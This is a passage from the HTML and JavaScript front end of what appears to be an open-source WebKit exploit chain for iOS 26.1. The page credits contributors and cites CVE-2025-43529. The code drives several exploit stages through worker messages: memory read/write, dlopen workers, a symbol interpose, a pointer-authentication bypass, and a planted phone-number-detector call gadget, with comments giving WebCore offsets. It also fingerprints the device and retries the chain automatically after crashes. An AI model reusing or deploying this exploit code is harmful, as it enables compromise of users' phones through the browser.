                    // NO cv.src, NO cv.play(): the caption battery (captionsStyleSheetOverride) fires
                    // via the document's 0s caption-prefs timer + the forced reflow below, NOT via
                    // playback. A PLAYING video re-invokes MACaptionAppearanceGetTextEdgeStyle (now
                    // = IIOLoadCMPhotoSymbols via the interpose) per frame -> the dlopen+dlsym loop
                    // pegs the main thread and starves the chain worker's event loop (the fcall-era
                    // hang that wedged every caption fire, 2026-07-21).
                    const t = cv.addTextTrack('captions', 'English', 'en');
                    t.addCue(new VTTCue(0, 3600, 'wake'));
                    document.body.appendChild(cv);
                    t.mode = 'showing';
                    log('[page] carrier: track added, forcing reflow');
                }
                void cv.offsetHeight;   // force style/layout so caption prefs resolve now
                log('[page] carrier: reflow RETURNED');
            } catch (e) { log('[page] caption carrier ERR ' + e, 'fail'); }
            await new Promise(r => setTimeout(r, 600));
            log('[page] carrier: 600ms timer FIRED');
            // KILL the caption pipeline right after the resolution: the MACaption softlink global now
            // points to IIOLoadCMPhotoSymbols (via the interpose), so a playing video keeps calling it
            // -> re-running its full dlopen+dlsym loop on the main thread -> the main thread FREEZES
            // (the fcall-era hang). Stop the video + disable the track so it can't re-invoke it.
            try { const cv = document.getElementById('__capv'); if (cv) { cv.pause(); cv.removeAttribute('src'); cv.load(); const ts = cv.textTracks; for (const tr of ts) tr.mode = 'disabled'; cv.remove(); } log('[page] caption pipeline stopped post-resolution'); } catch (e) { }
            worker.postMessage({ type: 'caption_done' });
            // hand off to stage7 (PAC bypass): the caption carrier above resolved the gFunc globals
            // via the interpose (IIOLoadCMPhotoSymbols re-dlsym), so the chain's stage7 self-test can
            // read them. The string-switch "sign_pointers" -> stage7 path is unreachable here because
            // the chain posts the OBJECT sign_pointers (this case) -- so send stage7 explicitly.
            worker.postMessage({ type: 'stage7' });
            break;
        case 'slow_fcall':
            log('[page] slow_fcall received');
            // The write triggers TelephoneNumberDetector::find -> our planted slot -> gadget1 -> the
            // target call. gadget1 returns cset(result!=0): on a successful call find()=1, and 26.1's
            // processCharacterBufferForInBody then walks ancestors checking
            // getAttributeInternal(el, "data-mime-type").startsWith("text/latex") (WebCore 0x1a0ac25cc-
            // 0x1a0ac2630). MATCH takes the plain-insertTextNode path (0x1a0ac27c0) which NEVER reads
            // find()'s out-params; NO match falls to the linkify path (0x1a0ac26a8) which reads the
            // garbage out-params and hits brk #1 at +0x6ac (the observed fcall death). So the trigger
            // text MUST live inside a data-mime-type="text/latex" element. gadget1's fast path
            // (Security 0x1888d9b94) touches only x8/x9/x19/x20 and the ABI preserves x22=1 through
            // the called pc, so the tbz w22,#0 gate at 0x1a0ac25ac falls through to the walk as
            // required.
            // Trigger text is a PHONE-LIKE number, not a bare "1": TelephoneNumberDetector::find has
            // a pre-check (min length / pattern) that a single digit may not pass on some builds,
            // so the scan never fires and the slot is never invoked (real-device: MARKER TEST sentinel
            // survived). "5551234567" is a 10-digit NANP-shaped number; the data-mime-type wrapper
            // still protects the out-params via the plain-insertTextNode path.
            try { iframe.contentDocument.write('<span data-mime-type="text/latex">5551234567</span>'); log('[page] iframe write RETURNED (fcall path completed on main thread)'); } catch (e) { log('[page] iframe write ERR ' + e, 'fail'); }
            // DOM PROBE (2026-08-02): did the detector scan run? If it did, the phone number gets
            // wrapped in a tel: anchor. Plain text => the scan never fired (pre-check / context).
            try { log('[page] iframe DOM: ' + (iframe.contentDocument && iframe.contentDocument.body ? iframe.contentDocument.body.innerHTML.slice(0, 160) : 'no body')); } catch (e) { log('[page] iframe DOM probe ERR ' + e); }
            worker.postMessage({ type: 'slow_fcall_done' });
            break;
        default:
            log('[page] unhandled object message: ' + JSON.stringify(dataFromWorker));
    }
    return;
}

                    switch (dataFromWorker) {
                        case "request_stage2":
                            setStatus("Stage 1 done (R/W); running stage 2");
                            worker.postMessage({ type: 'stage2' });
                            break;
                        case "prepare_dlopen_workers":
                            setStatus("Spawning dlopen workers");
                            await prepare_dlopen_workers();
                            worker.postMessage({ type: 'stage3' });
                            break;
                        case "dlopen_workers_prepared":
                            setStatus("Prepare CFBundle Loader");
                            worker.postMessage({ type: 'stage4' });
                            break;
                        case "trigger_dlopen_worker1":
                            setStatus("trigger dlopen worker1");
                            dlopen_workers[0].postMessage({
                                type: 'dlopen'
                            });
                            await new Promise(r => setTimeout(r, 500));
                            worker.postMessage({ type: 'stage5' });
                            break;
                        case "trigger_dlopen_worker2":
                            setStatus("trigger dlopen worker2");
                            dlopen_workers[1].postMessage({
                                type: 'dlopen'
                            });
                            await new Promise(r => setTimeout(r, 500));
                            worker.postMessage({ type: 'stage6' });
                            break;
                        case "sign_pointers":
                            await new Promise(r => setTimeout(r, 500));
                            worker.postMessage({ type: 'stage7' });
                            break;
                                                // chain worker -> page:
case 'start_poll':
         worker.postMessage({ type: 'poll_locks', ...msg });
        break;
// poller -> page:
case 'poll_ready':
chainWorker.postMessage({ type: 'poll_ready' });
break;
                        case "done":
                            setStatus("Finished");
                            break;
                    }
                };
            }
            main(await (window.__deviceInfoPromise || (window.__deviceInfoPromise = detectDevice())));
            runner.disabled = false;
            window.__cve43529Running = false;
        }

        window.addEventListener("load", () => {
            // DIAG (2026-07-21): pagehide beacon — a clean tab navigation FIRES this; a process
            // crash/kill does NOT. Decides "Safari reloaded the tab" vs "WebContent died".
            window.addEventListener('pagehide', () => {
                try {
                    const u = '/log?kind=log&msg=' + encodeURIComponent('[page] PAGEHIDE (clean navigation -- NOT a crash)') + '&t=';
                    fetch(u, { keepalive: true }).catch(() => { });
                    (new Image()).src = u;
                } catch (e) { }
            });
            // start device detection immediately on load (rAF measurement needs ~500ms;
            // done long before autorun's 800ms timer or a manual run presses)
            window.__deviceInfoPromise = detectDevice().then(info => {
                log('[page] device detect: ' + (info.forced ? 'FORCED ' + info.forced :
                    info.uaModel ? 'UA ' + info.uaModel :
                        'fingerprint [' + (info.candidates.join(' | ') || 'NONE') + ']') + ' (' + info.signals + ')');
                return info;
            });
            // TEST-AUTOMATION HOOK: autorun ONLY with ?autorun=1 (default loads stay manual, §5r cleanup respected).
            // §5i AUTORUN-RETRY (2026-08-02): the mapredir stage6 fire has a ~57% once-gate completion
            // race crash -> Safari clean-reloads the tab -> this hook fires again. Re-run (capped 10)
            // so the per-run odds compound toward near-certain stage7; DISARM on 'fcall self-test
            // PASSED' so teardown reloads (the ~13s latent gate bomb) don't restart the chain. Count +
            // disarm live in sessionStorage (survives reloads within one Safari session).
            if (/[?&]autorun=1/.test(location.search)) {
                let __au = 0, __armed = true;
                try { __au = parseInt(sessionStorage.getItem('autorun_count') || '0', 10); } catch (e) { }
                try { __armed = sessionStorage.getItem('autorun_done') !== '1'; } catch (e) { }
                if (__armed && __au < 10) {
                    try { sessionStorage.setItem('autorun_count', String(__au + 1)); } catch (e) { }
                    log(`[page] autorun=1 -- auto-starting run (attempt ${__au + 1})`);
                    setTimeout(() => { init(); }, 800);
                } else if (!__armed) {
                    log('[page] autorun disarmed (a previous run reached fcall self-test PASSED)');
                } else {
                    log('[page] autorun capped (10 attempts this session) -- manual run required');
                }
            }
            //get slide
            // ---- Top bar: modal + title ----
            const overlay = document.getElementById("overlay");
            const modalTitle = document.getElementById("modalTitle");
            const modalBody = document.getElementById("modalBody");

            const MODALS = {
                about: {
                    title: "About",
                    html:
                        `<p>(Incomplete) port of the Darksword webkit userland chain for iOS 26.1</p>` +
                        `<p class="muted">Repo: <a href="https://github.com/GenericCoding/pois0nSword">Proudly open source and hosted on Github</a></p>`
                },
                credits: {
                    title: "Credits",
                    html:
                        `<p class="muted"><b>Contributors:</b></p>` +
                        `<div class="rows">` +
                        `<div class="row"><span class="k">Primary developer: </span><span class="v">GenericCoding<br>(<a href="https://x.com/GenericCoding">@GenericCoding</a>)</span></div>` +
                        `<div class="row"><span class="k">Primary developer: </span><span class="v">Varik<br>(<a href="https://x.com/D4RK7ET">@D4RK7ET</a>)</span></div>` +
                        `<div class="row"><span class="k">Debugging and webcontent R/W fix:</span><span class="v">Johnny<br>(<a href="https://x.com/zeroxjf">@zeroxjf</a>)</span></div>` +
                        `<div class="row"><span class="k">Help with offsets:</span><span class="v">Huy Nguyen <br>(<a href="https://x.com/Little_34306">@Little_34306</a>)</span></div>` +
                        `<p class="muted"><b>Acknowledgments:</b></p>` +
                        `<div class="row"><span class="k">POC for cve-2025-43529 <a href="https://github.com/jir4vv1t">[repo]</a>:</span><span class="v">jir4vv1t <br>(<a href="https://x.com/jir4vv1t">@jir4vv1t</a>)</span></div>` +
                        `</div>`
                }
            };

            function openModal(key) {
                const m = MODALS[key];
                if (!m) return;
                modalTitle.textContent = m.title;
                modalBody.innerHTML = m.html;
                overlay.dataset.open = "true";
            }
            function closeModal() {
                if (overlay.dataset.open !== "true") return;
                overlay.dataset.open = "closing";
                setTimeout(() => {
                    if (overlay.dataset.open === "closing") overlay.dataset.open = "false";
                }, 240);
            }

            document.getElementById("aboutBtn").addEventListener("click", () => openModal("about"));
            document.getElementById("creditsBtn").addEventListener("click", () => openModal("credits"));
            document.getElementById("modalClose").addEventListener("click", closeModal);
            overlay.addEventListener("click", (e) => { if (e.target === overlay) closeModal(); });
            document.addEventListener("keydown", (e) => {
                if (e.key === "Escape") closeModal();
                if (e.key === "Enter" && overlay.dataset.open === "true") closeModal();
            });
            log('Press "run" to start, only iOS 26.1 is tested. Device auto-detected by screen/refresh fingerprint (override: ?device=iPhoneXX,Y); offsets loaded from offsets/ directory.');

        });
    </script>
</body>
</html>